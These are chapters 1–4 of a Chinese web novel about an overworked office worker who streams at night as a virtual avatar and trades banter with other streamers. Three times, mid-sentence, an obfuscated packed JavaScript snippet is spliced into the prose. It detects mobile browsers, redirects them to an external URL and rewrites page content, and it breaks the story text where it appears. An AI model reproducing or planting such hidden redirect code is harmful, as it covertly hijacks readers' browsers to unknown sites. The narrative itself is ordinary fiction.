《牛马发疯日常》 1. 下班 结束一整天的工作后，宁檬穿上自己的“马甲”，坐在电脑面前唉声叹气。 在现实中，她是资本家公司最底层的打工牛马之一，而在互联网上，她也没有什么成绩，是数据和流量都不怎么样的底层博主众多中的一个。 宁檬面无表情几口扒拉完外卖盒中的米饭，顺手从桌子上捞过一瓶矿泉水拧开对口猛喝几大口。 舒服！ 手机屏幕上，新发来的未读消息一条紧接着一条，是不当人的周扒皮老大在发来需要修改的内容文档。 对于宁檬这种不爱看文字的人员来说很友好，只是看完全部的截图和标注，她只剩下呵呵的无语感慨。 谁说的没有文字就是简单，这几张图片下来，宁檬已经能够看到明天电脑桌面上一个接一个的页面跳转，鼠标声环绕的当代牛马工作画面。 真闹心，都下班了，还要收到这些扰人心情的工作消息。 到底是谁在爱工作啊？！ 下班就应该互相当个死人列表，谁也不要打搅谁，工作时间再好好交流沟通不好吗！ 在下班时间聊工作，是需要支付加班费的，不懂吗？！ 宁檬一边等待着中午抽空剪辑好的视频导出，一边呛鼻对着手机无能狂怒，在心里说了她知道的为数不多的国粹语言。 没有边界感的剥削家老大，明明不是高层资本家，却操着资本家才该有的闲心，真是咸吃萝卜淡操心，明明发工资的又不是他。 在短视频平台设置好视频的发布时间，瘪着嘴角摸到旁边的手机，在回复消息之前对着空气张牙舞爪地做出各种恶狠狠的不满意表情。 而真当回归到微信工作群中，抓狂的无语态度转变飞快，怒气只化作专属于牛马打工人的两个字——收到，好的。 能怎么办，谁还会和工作工资过意不去吗？ 反正她宁檬是不会的。 收拾好自己的情绪，等待一会儿不见工作群中还有动静出来，宁檬彻底从工作中抽身，转身投入到另一个目前在不断尝试的副业工作中去。 晚上短视频平台的直播，是宁檬的另一个副业，啥也不为，就是为了挣钱，然后能够实现她更想做的事情，毕竟谈理想说梦想这些都太虚无飘渺，或者说更像痴人说梦，而想要真的实现的前提就是有钱，有很多的钱。 白天做牛马，晚上做别人的乐子，一天复一天的重复过活着。 直播刚开始没多久，整个直播间的人数也就那一百号人，偶尔在pk娱乐中可能会碰上点厉害的大主播，没准会短暂的直播间人数达到破千的程度，次数少之又少。 宁檬刚把手边的热水壶的按键点了烧水的功能，直播间的设置各种也正好调试结束，直播的页面出现在显示屏上，一个二次元定制人皮套，社恐人士绝不出镜的假人代替品。 “大家晚上好，今天加了加班，牛马时间无偿被续费了一点，回来得比较晚”，宁檬一想到最后下班前被临时交到自己手上的任务活，就忍不住翻白眼，说话里都不由自主带上打工人专属怨气。 同是天涯牛马人，她的话完全收到直播间的在线观众的共鸣，人虽然不多，但基本都能和她的吐槽共情，一瞬间直播间的公屏几乎都是牛马属性大家的吐槽内容。 看得出来大家都是被压迫剥削，为了生活忍气吞声的打工人。 宁檬冷笑一声，还准备和大家继续深入探讨这个话题，想法被显示屏右下角的连线提醒半道打断。 是之前随机pk点了相互关注的娱乐主播，最近倒是有连线过很多次，算得上是列表里的熟人好友了。 【酸醋余】就是邀请宁檬进入pk连线的主播，按照粉丝的体量来算，数得上是大主播的行列，毕竟三四百万的粉丝体量，和宁檬这三四万的粉丝体量完全就是一个天一个地。 进入到连线直播间时，已经有三个主播在了，一瞅全是熟人，都是前不久刚连过的，也都是刚点了关注不久的主播，不和酸醋余一个体量，但也绝对不是和宁檬一个级别的。 说到底，宁檬刚一看这阵容，就觉得自己是被这三人拉来开涮的。 “不是，几位大哥，你们想惩罚其实可以直说，非得让我来走这个流程不行？” 宁檬说话的口吻摆烂，真搞不懂这几人又在打什么鬼主意。 清一色的pk主播，和她这种二半吊子新人主播一起玩，这分明就是降维打击。 在工作上当牛马，在直播界被当刷级小怪，真是在哪都是最底层的存在，别人世界里的NPC之一。 宁檬无奈笑笑，随手从旁边的笔筒里抽出一支笔转着玩，眼瞅着桌子上的透明文件夹一心二用，心不在焉的听其他三人说话。 酸醋余是他们三个人中叫嚷最大声，最闹腾的一个，宁檬被吵得脑袋嗡嗡叫，索性直接将文件夹合上，盯着显示屏上的男生看他说话。 颜值主播不愧是颜值主播，稍稍上点妆就是帅气的，这也是为什么就算每次都被虐着打，宁檬内心还是乐意和他们玩的原因，抛开对面他们家大哥大姐送来的安慰礼物，还有很大一部分原因，她自己也是个颜狗，颜值至上是首要的。 能聊得上天，有共同话题，还有好看的脸能看，最后又能收到作为别人家大哥大姐的安慰票，她觉得也足够了，这可比当牛马要舒服得多，说着话就把钱给赚到了，唯一不好的就是，平台抽取太多，她挺肉疼的。 “有事快说，不然我可就当你在放屁了。” 宁檬说话向来是直来直去，刚认识的那段时间，酸醋余他们没少吐槽这件事，说她说话的方式和她作品里那些唯美镜头感完全不符合，看作品视频觉得应该是一个很温柔细腻的人，结果竟然是一个浑身带着大碴子味的糙妹子。 酸醋余憋着股坏笑，眼神在提溜地转不停，再看看另外两人，表情没差多少，一眼就能看出这三人正在憋着坏主意，没准在她被邀请进来之前，就已经想好了。 直播间的弹幕里，有一些从其他直播间串门过来的在线观众弹幕发言正巧印证了宁檬的这个猜测。 [鲶鱼蛋挞]：小柠檬，你会后悔的，快跑！ [酸醋恐龙]：他们三个就在蹲守着你呢，他们刚刚还蛐蛐你迟到，我要告状。 [九颗日月糖]：心疼小柠檬三秒钟，我待在这里陪伴安慰你一下（绝对不会说我是想来见证名场面，嘘～） [青灯遇古佛]：快看酸醋余和张毛毛的嘴角，真的就是“一想到我接下来要做的事情就忍不住想笑”的真实写照。 …… 如此这般的弹幕发言比比皆是，和宁檬一样刚开播不明事态的人不在少数，有的宁檬自己的粉丝也去其他家串门想要打探敌情。 “其实也没啥事，就是想你了，来看看你不可以吗？” 说话的是另一个主播，id是张帅帅，但是他的粉丝都叫他张毛毛，宁檬刷到过缘由，好像是他在老家的小名是毛毛，在老家直播时被粉丝听到这么叫，他便有了这么一个不那么帅气的，接地气的称呼。 同样是一个颜值主播，不过宁檬并不太吃他这类颜值，太奶了点，但总体颜值打分还是在很高的。 宁檬一点不吃张毛毛这一套，把手中的笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414706|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下，调整了下直播皮套的手腕动捕装置，“得了吧你，我又不露脸，你想一个二次元皮套啊，你听听这话你自己信吗？” 一点面子都不留的戳破，张毛毛有点心虚地转移视线，示意酸醋余接上去打圆场。 “当然要信了，反正我是信的，我们可是透过皮套看内里，想的当然是小柠檬你的个人人格魅力了。” 酸醋余手里把玩着魔方，故作出一副真的很诚恳的模样。 宁檬扯着嘴角笑一下，不太想搭话，“我刚开播，没票，没人，没流量，要打快点的。” 直播间里的三个人同时安静几秒，都勾着嘴角呷着笑，看得人心里渗得慌，宁檬突然有种想要从这房间里退出去的想法。 不过和他们玩的次数也不再少数，倒是没有什么太过分的惩罚，这次应该也不会是什么过分的。 本着这种想法，宁檬接下他们的pk，闭麦拉票的五分钟时间里，宁檬本来也刚开播，没什么太多的内容要做，索性就没有把其他几个人的麦闭掉，单方面的听到有意思的话头就会接上一两句。 而其实她本人则是在对着自己面前的文件夹A4纸上内容做调整修改，随意接话只是没想法时的消遣。 “到时候柠檬做惩罚的时候，我一定发出来让你们看，好东西大家一起分享的嘛！” 这是酸醋余在他自己直播间和粉丝说话的内容，宁檬恰巧听到自己的名字被提及，随口接上一句，“说的好像我哪次惩罚做奖励没有发出来一样，真当谁都像你一样呢，做奖励还耍文字游戏的赖皮。” 话音刚结束，今天这一页A4纸上的内容修改结束，文件夹合上的动静声音，和耳机里酸醋余的声音同时重叠。 “谁耍赖皮，好啊你，说我坏话被我抓个正着，你还有什么话要狡辩的？” 这是发哪门子的神经，突发奇想不闭麦？ 电脑显示屏上，宁檬的小人双眼不禁睁大，摆明了是被酸醋余这种操作惊讶到。 宁檬单手托脸，漫不经心说着，“这算坏话吗，难道不是你先说到我的，我才接话的吗，而且我说的分明就是事实。” 关于这个话题，酸醋余不做更多的反驳，毕竟他的确不占理。 五分钟很快就结束，酸醋余和宁檬两个人到最后都没有闭对方的麦，只是将另外两人的麦关掉。 “不是，哈哈哈哈哈，柠檬你……哈哈哈哈哈，还真是天选牛马打工人啊，哈哈哈哈……” 所有人都开麦的时候，张毛毛和怪鸦正巧听到酸醋余说这句话，一句听起来就很有内容的话。 怪鸦一晚上都没怎么说话，这会儿刚把晚饭解决掉，腾出一张嘴方便叭叭，一点都不愿意放过任何吃瓜的机会，“什么什么？小柠檬，难道你又碰上什么奇葩事了，快快快，给哥哥们讲一讲，让我们也乐呵乐呵，今晚的乐子就有了。” 这群互联网结识的人就没什么好人，下班了还要被他们嘲笑，当乐子听。 宁檬瘪瘪嘴角，从桌子抽屉里拿一片口香糖塞到嘴里，“先定惩罚，不然我怕你们憋大招，剩下的呆会儿再讲，反正人又不会跑。” “这话说得在理，那就等会儿再听，我可是好奇得紧，每次听柠檬你说起工作上的事情，就有种追连载小说的期待感，百听不厌，并且一直期待。” 张毛毛双手交叉，撑在下巴的位置，脸上笑眯眯挑眉。 真欠啊，等我有实力了，我pk打不死你！ 这种狠话刚在心里放出来没两秒，下一瞬间就被自己否定——算了吧，做个梦得了，现在还有个惩罚没定呢…… 2. 惩罚 心态持续性摆烂，完全没必要有试图挣扎的心理状态，宁檬静等着pk结束后的惩罚内容。 这群互联网上的关注好友，和老家里那几个还在联系的朋友一般无二，那脑袋里想的所有问题都不是什么好的。 作为pk得分最高的胜利者，酸醋余手握着选择权，成为四个人中最大的获胜者。 “余，老余，让给我呗，你看这提议还是我先想到的呢，”，怪鸦的pk得分遗憾落在酸醋余之后，眼睁睁目睹看着酸醋余丑恶得意的嘴脸。 张毛毛分数位居第三，也就是倒数第二，哪里还有他说话的机会，默默丢给在场所有人一个白眼，两侧的腮帮子气得鼓鼓囊囊的。 反倒是作为话题的中心当事人，宁檬就看着这三个人互相尴尬，自己仿若局外人一般默不作声。 对峙的结果就是，酸醋余满脸的得意，看得怪鸦和张毛毛心里恨不能钻进屏幕里打人。 “OK啊，说吧，什么惩罚，我随时都能做”，宁檬嚼着口香糖，随便一个动作吐出泡泡来。 动捕太灵敏的不好就是，什么小动作都能显示在电脑屏幕上，就连她嚼口香糖吹泡泡嘟嘴时的动作也不放过。 怪鸦观察她好半天了，冷不丁冒出一句话，“柠檬，你总嘟嘴干什么呢？” 被人当面指出来，宁檬正轻松的心情突然间就变得不美丽了，猛吸一口气，最后只得勉强抿嘴咧笑，平复一下心情。 “吃泡泡糖吹泡泡不行啊，没事管这么多”，宁檬从鼠标旁边把包装纸拿在手里，在吐与不吐之间纠结犹豫，“快点的，说什么惩罚。” 关子也都卖的差不多了，酸醋余也没了继续吊胃口的趣味，在直播间的镜头里掏出另外一部手机，手指在上面来回点动划拉。 手机屏幕上正显示着ID是“柠檬”的账号个人主页里的视频作品，清一色的很有感觉的镜头美学，偶尔会有个别真人出镜的视频，都是宁檬的三次好友闺蜜。 “你没事看我主页干嘛？” 宁檬摸不清楚这其中的具体原因，疑惑问他。 怪鸦的态度更积极，可比作为惩罚者的酸醋余更着急问话，“我来，我替他说，他想知道你是不是一点三次都不能出镜？” “干什么？咱不是说过不惩罚三次相关的吗？” 这些都是他们这一行里约定俗成的，不需要直接点明，也不需要特意强调。 对于酸醋余他们的问题，宁檬其实还是挺意外的。 短暂的沉默之后，宁檬估摸着这三个人是不会轻易放过自己了，很有耐心地答着：“只要不露脸，不影响我的正常生活都没问题，怎么了，你到底在憋什么坏水呢。” 这话一听就是有戏。 酸醋余听得一双眼睛都睁大了，大尾巴狼的动物拟化影响更加贴切了，再配合上粉丝送的礼物特效，头上的两只毛茸茸耳朵更符合了。 宁檬操作着鼠标正好把这一个画面截图保存下来，伸手把平板支架上的平板取过来，在设置看一看电容笔的电量，还有百分之七十多的电量，足够用了。 小时候的爱好乐趣刚刚好能够发挥上作用，听这三个碎嘴子说闲话，她也能借助这个时间没事画点小简笔画，就比如说现在这个大尾巴狼。 “那你就配合我拍个视频呗，这就是我今天的惩罚，很简单是不是”，酸醋余说得轻巧，对宁檬的小表情丝毫不顾。 狼耳朵的装饰层已经草稿好了，人体的内部架构姿势也选好了，就要准备开始更细致的草稿图，下手第一笔直接就被这个问题惊到，不容忽略的错误一笔呈现在平板白纸上。 这下子图层看来是没得用了，刚新建的图层第一步操作就是撤销。 宁檬默默放下手里的平板，连同电容笔一起，“你认真的？” “我这个二次元人物你觉得可以和你这个大帅哥在同一个图层出现？” 谁家好人一个大帅哥会和二次元皮套一起拍视频的，而且还是个颜值主播。 听到宁檬这话说得，酸醋余表情瞬间冷静下来，歪嘴冷笑，管制刀具般的嘴巴已经开始发功，“柠檬你这脑袋上不会真是个皮套摆设吧，我看是时候考虑换个新的了。” “我真服了，你这个破嘴要是不需要呢，也可以考虑捐掉了”，宁檬话说到一半，突然顿一下，“哦对，你就捐了，估计也没什么人会愿意要的，毕竟管制刀具，坐高铁飞机应该过不了安检。” 互相怨怼的两人相处重现直播间，每次到这种时间，怪鸦都很感慨，恨不得让宁檬能够开个班，教教这怼人的能力，一般人都学不来。 酸醋余不怒反笑，嬉皮笑脸的完全不当回事，“懒得和你一般见识，我这周末会去上海，到时候找你约饭啊，周末哦，天选牛马打工人记得给我把周末留出来听见没有。” 一句话成功让他占到上风，既嘲讽了宁檬牛马身份的无奈，也有突然面基见面的突如其来。 被这个消息打得措手不及，宁檬接下来在说话的时候都开始变得磕磕绊绊，话都说得不利索了。 下班休息的时间兼职直播刚开始不久，最开始更多的是给粉丝讲解一些镜头感的干货，后来被列表里的pk主播拉着打pk扩宽圈子，一个月下来她的列表关注增加许多，直播内容也开始从噎死人的干货演变成随机连线pk的节目内容。 只不过最近一段时间，多半是进pk直播间，连线被酸醋余这一号人降维打击，百万人民币pk数值吊打，然后再认领一个属于她的惩罚方式。 所以说，满打满算，作为关注列表的相识，宁檬也只是刚和酸醋余认识不久，还只限于在互联网的二次元上。 当然她看酸醋余是三次的，而酸醋余看她只能是二次元皮套，谁让她不露脸的。 “再说吧，万一老大像今天一样给我任务，让临时加班，或者是万一公司里同事又有其他人得流感请假在家，我还没被传染，需要挑大梁怎么办。” “打住，你现在不想听到你口中的或者”，酸醋余双手比着暂停的手势，双眉紧蹙在一起，满脸嫌弃。 这段对话内容，张毛毛和怪鸦作为没偷听到刚刚对话内容的局外人也算是听出点门道来。 怪鸦抿着嘴偷笑，“感情柠檬你今天开播这么晚是被叫去临时加班了啊？” “不是吧，我听着不太对劲，还提到流感传染，天选牛马打工人，我猜情况更应该是柠檬是为数不多的没被甲流传染的健康牛马，才被拖着去加班干活的。” 怪鸦分析得头头是道，甚至掰着手指头点出个一二三出来。 上班的伤心事再次被提到，柠檬连接话开玩笑的心情都没了，语气很敷衍，“你这么聪明，不当个侦探还真是可惜了呢。” 啧啧啧，又开始了，这家伙的毒舌又开始发功了。 怪鸦也是恶趣味，每次都非要和宁檬怄着比较出谁更倔，更先顶不住这小毒嘴巴。 “这你就不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414707|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧，我前段时间刚去录制了一个综艺的，破案类的脑综，谁说又不是当了侦探呢——” 故意拖长的尾音，无一不再彰显他这会儿的得意劲。 很可惜一点，怪鸦变相宣传综艺的话，并没有人在意，连接腔搭话的人都没有。 宁檬故意憋着坏劲，就是不理会怪鸦的话，把话题突然转到酸醋余那里，“来不就来，不过先说好我可不会尽地主之谊，我可是牛马，兼穷光蛋，你在上海的一切开销你自费嗷。” “哦对了，还有见面吃饭我会努力蹭吃蹭喝的”，宁檬的二次元皮套嘴角咧开，笑得尤其阳光，倒真像番剧里阳光女主的感觉。 唠家常的时间总是过得飞快，就像眼前这场pk一样，闲打趣之后便已经是三四十分钟过去。 临近pk结束，宁檬手上平板里的草稿也打了个轮廓，有一搭没一搭和他们三人聊着。 “柠檬！死鱼！我有时间了！” 怪鸦的声音突然骤响，把每个人都吓得猛然一激灵。 “神经啊，没事大叫什么，人吓人会吓死人晓不晓得啦！” 酸醋余坐在自己房间椅子上，被这一声突如其来的动静吓得浑身颤抖一下，没一点好气地说话，连家乡口音都没压住从口中蹦出来。 宁檬伸个懒腰，笑嘻嘻追问发出这死出动静的根本原因。 这一问倒还不如不问，给自己闷头一棒打来。 “嘿嘿嘿，当然是有时间也去上海咯，然后就能和咱们的小柠檬面基了，没准还能蹭上个你们的惩罚镜头呢。” 果然，凑热闹这种事就没有人愿意放过。 怪鸦已经开始在镜头面前手足舞蹈了，看得四个人的直播间弹幕上都在嘲笑他这怪异又突然的舞蹈动作。 最后的pk结果是，三位颜值主播竟然纷纷为了宁檬的工作日时间妥协，莫名其妙的面基约饭局就此诞生，甚至于直接在直播间里已经开始向粉丝请假申请。 “哎，我说，三位大哥，要不我周末去向主管申请加班好了，你们这狂热的表情会让我觉得我像那个动物园里的猴子，等着你们来看一样。” 宁檬坐在椅子上，死倔地不愿意离开板凳，努力伸胳膊去够桌子角的日历，准备盘算现在手头上的任务预计时长。 这种大项目一般都是三四个月起步的程度，她就算是周末去加班也正常，这么想着，念头就真的不禁开始萌生了。 坏主意出现的小动静在动捕的镜头捕捉下，把她的小眼神完美展现在直播间里，因为这方面的疏忽，没能躲过其他三人的审判。 酸醋余是最坚持面基的一方，大概更多的原因是因为，他手里还握着一个柠檬的惩罚在，是断然不想放弃这个机会的，“不行，你要是去加班，你就……你就……，哎呀，反正就是不行，你不许，给我听见没有！” “哎哟，我这暴脾气，我为什么要听你的呢，你说我就要听吗，别忘了我可是精神状态极其美丽的打工人，我会听你的？” 明明只是个二次元假人皮套，但是宁檬的一系列小表情在它上面表现得莫名有一股欠嗖嗖的感觉，偏偏酸醋余还真没办法拿捏她。 酸醋余双唇紧抿，来回蠕动，张嘴后又闭上，看得大家更加乐呵。 果真是惹什么人都可以，但是绝对不能惹下班后的打工人，真不是一般人能拿捏的。 宁檬看他半天没憋出什么动静，难得好心接话，给一个让所有人都满意的安排。 3. 请假 骑车行在上班的通勤路上，宁檬回想起昨晚的上头答应，现在禁不住一阵后悔，不过很可惜根本没有后悔药。 这会儿苦闷的心情连带着看红绿灯的倒计时都不顺眼，这都第几个红灯了，真服了，少有的起晚了就算了，怎么连红绿灯都开始来凑热闹。 身为牛马中一天的第一个不顺，一路红灯。 这狗屎运，买彩票怎么不这样呢？！ 宁檬看一眼前面差不多能过一个电车的空间，稍稍加了点力度拧车把，争取在九点半迟到打卡前到达。 刚转暖的天气，时不时还会刮起冷风，对于骑电车上班的人来说，这一路上就没有暖和的风，不至于冷得刺骨，但也说不上和煦。 原本半小时的车程，硬生生和红灯对抗，勉强没有被拖长更多。 公司楼下有全家便利店，多数打工人的青睐选择，因为能加热早餐。 找到停车位，拎着头盔，宁檬三步做两步地跨上全家门口的台阶，寻了个人比较少的窗口刷码结账。 起晚了之后所有不顺心的事都在这个早上吻上来了，就好比说现在正在加热早餐的排队人数。 宁檬最后看一眼剩下的人，狠狠心咬牙转身，仿佛下了什么决心一般，头也不回地走下台阶离去。 公司在二楼，电梯在8楼，扒拉出楼梯间门口的缝出来，几乎是拿出上学时卡点进班上楼梯的架势，宁檬这辈子没这么感谢过爸妈给她的这双长腿，也有不是当摆设的重要时候。 9:30:15…… 九时三十分十五秒…… 什么狗屁打卡时间，她就不该打卡前买早饭，打完卡再下楼来全家不香吗？ 还能带薪买早餐。 宁檬坐在工位上，瞄一眼旁边的鸡蛋和包子，越看越窝心。 这个饭是非吃不可吗？ 短暂的无语过后，注意力很快转移到另一方面，临近门口的工位上，有位从不迟到的早八同事竟然少有的没有在工位。 流感传染集中爆发期，这种发现可不是什么好事。 发呆的时间只有小片刻，半个鸡蛋还没吃完，蛋黄噎在口中还没来得及吃完，刚刚的问题已经被另一位同事解答。 旁边另一个组的同事正好来饮水机旁接水，抬头的功夫就能看到那里空缺无人的工位，正是那位早八同事的。 顺着便问了出来，恰好老大也从旁边经过。 “他发烧了，估计也是中招了”，老大把外套换掉，露出里面的白色短袖，好心解释。 半死的心这下直接死透了…… 宁檬伸手端起刚去楼下买的提神咖啡，嘴角苦笑着轻轻抿了一口，真是怕什么来什么。 最近几天接二连三的请病假，一整个组里到今天为止还好好坐在工位上的，竟然只剩下老大，宁檬，和另外一个去年来的应届生男生。 就在昨天，老大还专门夸赞过作为一个女生，宁檬的体质和他们这些男生都没差，在流感里顽强保持着健康的身体。 呵呵呵，谁爱得病啊，但也没人爱工作的吧。 宁檬抬头笑笑，准备开始新一天的工作。 需要交付数据修改的部分昨天会议里刚确定，今天就要最终版本，宁檬翻到会议记录本上的笔记，已经能看到今天忙碌的工作安排。 登录内网沟通软件，打开工作操作软件，接收邮箱邮件，电脑下方的快捷栏里一顿操作排出一排软件最小窗。 【MK·徐老大】：我刚抄送给你一封邮件，附带文件是汇总的各种路径位置表格，等你完成你手头的也填上去，再抄送给我一份。 【MK·丞伟】：我刚上传了cell，你down一下吧。 一个组还顽强在岗位上的也就他们这两个人，结果还都这么积极的工作态度，宁檬在看到未读消息发来的时候真的很无助。 内心狂乱无比，脸上依旧淡定，双手手指飞快在键盘上跳跃，分别回复。 ［MK·老大聊天框］ 【柠檬】：ok ［MK·丞伟聊天框］ 【柠檬】：你这么快就完成了，是想卷死谁！ 不同的同事，聊天回复的语气和用词都是各自不同的话风。 丞伟的回复瞬间秒回，宁檬抬头看一眼前面工位上的显示屏，这小子挺猖狂的，直接在大显示屏上面直接社交聊天。 眼睁睁看着他键盘敲得飞起，也就是看不到正面的嘴角表情，不然宁檬真不知道自己会不会忍不住想去狠狠吐槽他。 手里有工作任务要忙活，白天的工作时间就如流水奔腾穿梭而过，低头看电脑屏幕右下角的时间已经接近下班时间。 只要不加班，就是苦中还能作乐的小生活日子。 宁檬偷偷瞄一眼老大的工位，人还在那里安稳地坐着，默默瘪一下嘴角，盘算着今天因为迟到在系统提交的请假条，可能六点多几分就溜走，不能让自己的假白请。 万事俱备只欠东风，就等着看老大一会儿会不会去和隔壁组主管一起下楼吃饭了。 照常理，六点左右的时间点，应该是他们两个老大约饭的节点，也就是宁檬和丞伟这种浑水摸鱼的人最适合溜走的时间段。 这么想着，刚松开鼠标准备起身去厕所解决今天的所有工作时，抬头瞬间恰好瞅见前面的阴影站起。 丞伟已经穿好外套，挎包被他拎在手上正在往身上背。 两人的目光对上，丞伟咧嘴角笑着打招呼，打卡下班走出去之前，顺道走到宁檬工位旁，用手示意朝头上一角指指，“好发型，潮流前线。” 仗着两人年龄相仿，临走前留下这么一句模棱两可的开玩笑话。 皱着眉抬手摸摸头发，一句卧槽憋在嘴边，刚站起来的动作瞬间又坐下，宁檬着急忙慌从抽屉里摸出小镜子。 用来卡刘海的小卡子不知道什么时候被另一撮头发缠上，然后一发不可收拾，乱糟糟缠在一起，还真是“潮流”，潮的都要得风湿了。 这工作或者学习之余，空着的那只手总有点小毛病，头发就没有好好保持过。 宁檬对着镜子耐心把头发理好，小心翼翼把卡子摘下来，这过程里还没征兆地带下来一根头发。 更心疼了，本来就工作后疯狂掉头发，现在拥有的每一根头发都是金贵的，太让人心疼了！ 偌大的垃圾桶里，飘进去一根头发丝，转瞬不见，和黑色垃圾袋仿佛一体。 心疼的情绪也跟随消失，更快的被早早下班的开心情绪代替填充。 可能是回家路上的红绿灯也感受到了宁檬的好心情，就连早上那样接连不断的红灯也都很乖顺地变成了绿灯，回到小区楼下的时候只是花了二十多分钟而已。 回家后安静的一人环境让人不由自主地放松，宁檬独自哼歌享受着这种单人的生活，等待小汤圆煮好的空档，手机在旁边的手机支架上几下就点出关注列表里已经在直播的关注好友。 这个时间点？ 大多数主播都可能还在外面耍或者吃饭的时间点，竟然真的有人在开播，而这个人宁檬还挺熟悉的，毕竟算是贵人这方面的。 宁檬没有切号直接点进去，这才猛然想起来，都怪最近流感带来的忙活工作，本来毕业后就倒退的记性更加差劲，把好友的周年庆直播都给忘得彻底。 卡点送祝福的仪式感算是做不到了，宁檬看着好朋友精致的妆扮，身上穿着bulingbuling的粉色小裙子，在镜头前面看着就仿佛是个小蛋糕一般，看得人心软软的。 【柠檬在小可可直播间送出一个南瓜马车】 【柠檬在小可可直播间送出一个公主城堡】 【柠檬在小可可直播间送出52个流星雨】 没赶上开播的第一时间，正好让宁檬阴差阳错与其他人送礼物的特效岔开时间，这会儿的直播间里只显示着宁檬送上的流星雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414708|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小可可本来还在和粉丝笑嘻嘻的聊天，等待着连线嘉宾的流程时间到点，继续下一个环节，这一小会儿的时间间隙恰好注意到礼物栏上属于宁檬的特效播报。 “嘿呀，柠檬，最近听说你工作繁忙得很，还以为要把我这个小可爱忘记了呢~” 小可可在直播间里故意装模作样，配合上她这熟练到不行的茶言茶语话术，听得宁檬嘴角跟着扬起止不住。 “柠檬，在干嘛呢，来连个线呗，别送了礼物就跑嘛，都怪死鱼他们几个，我都好久没和你连上线了”，说着话的功夫，直播间的粉丝连线功能已经打开。 人民币观众的好友就是，在连线的时候从礼物榜上就能很快找到她的账号，并发出连线邀请。 宁檬看着眼前烫手的邀请，目光从自家小锅上收回，一时间不知道接还是不接。 短暂的犹豫之后，宁檬的手绘头像顺利出现在直播间右下角。 刚一上来，宁檬脱口而出就是一连串的生日顺口溜的祝福词，节目效果直接拉满。 “你先别说话，我要开始了，认真听哦”，宁檬一想到自己接下来要说什么，就忍不住想笑，努力压着嘴角不让自己真的笑出来，清了一下嗓子后开始继续说： （单手用响指打着热场子的节奏） “Yo~寿星上号！ 蜡烛吹不灭？直接扣题： ‘祝你发际线焊死，卡里数字蹦迪， 对象自动签收，肥宅快乐水无限续杯！'' 顺手腾出一只手切换一首蓝牙音箱播放的BGM） 友情提示： ‘说好的减肥呢？ 明年蛋糕必须缩水成硬币！’ （故意停顿没忍住笑了，在手机上通过微信发出来一个wink的表情包，顺带有一句解释的话：和这个表情配合一起听接下来的祝福） 最后甩个wink： ‘生日快乐！记得把愿望写进今年的平台嘉年华的愿望目标里！’” “哈哈哈哈，不是，柠檬怎么几天不见，你去哪里深造造梗了，难道说是你们公司吗，那你们还收人吗，我也想去学一学了，哈哈哈哈哈……” 配合着小可可专门在直播间把这段的微信聊天截图后贴出来，节目效果更是在这会儿达到峰值。 宁檬在线上没有说几句，就推脱着说自己正在做饭，这会儿油要热了，等下房子炸了怎么办。 借着这种借口，宁檬笑着从麦上跳下，今天的下饭综艺索性直接换成了小可可的周年庆直播。 不愧是酸醋余，在众多的庆生嘉宾里，他是第一个被邀请来的，刚一张嘴更是节目效果翻倍。 【柠檬】：死鱼，你拿我的词用，有问过我吗，有给版权费吗？？？ 嘴边的汤圆轻轻一咬，没控制好直接流出里面的黑心夹心，舌尖烫到猛地往里缩，嘴角是被这直播间突然没有任何准备的callback尬到。 这可能是见过的最快的callback了，小可可作为当事人，更是笑得没有形象可言。 “老余，你这wink好油啊~” 小可可婉转拖上的评价尾音，听得人更是尬住。 酸醋余今天的装扮一看便知，是有专门搭配过的衣服，被cue到站起来来一段时，更是帅到没边。 宁檬半咬着勺子，对着酸醋余的颜值情不自禁做着点评，心里也不忘记的吐槽自己这三观跟着五官跑的坏毛病。 她竟然就只是因为这张帅脸的示弱服软，然后就直接不和他计较了，果然是没底线的颜值狗。 “哎哎哎！对了，我昨天刷到你粉丝剪辑的直播cut，听说你们去线下面基柠檬？” 宁檬刚准备退出这个让自己差点生出“反省”心理的直播间，紧接着下一秒就听到自己的名字再次被提及，实不相瞒，她这会儿内心不太平静，总觉得这不是什么好兆头，有一种不祥的预感。 4. 机场 窝在自己的出租房里，宁檬目睹了一场真正意义上光明正大的算计她自己的直播。 甚至临到结束的时候，这两个人还专门隔空给她问话，问是否还满意这个贴心的接机计划。 冲着小可可坏心眼的提到的那些接机安排，她真的是怕直播的时候会不会被酸醋余再连线拉到一起刻意强调这些内容，干脆后面就直接没有再直播。 不直播的时间里，宁檬也没有闲着，在各个主播直播间里闲逛学习他们的直播路子，平板上画到一半的大尾巴狼的形象被逐渐补充完成，更加形象。 最重要一点，在拟人化的鼻尖上面，细致地点了一个小痣。 “大尾（yi）巴狼，鹅鹅鹅……” 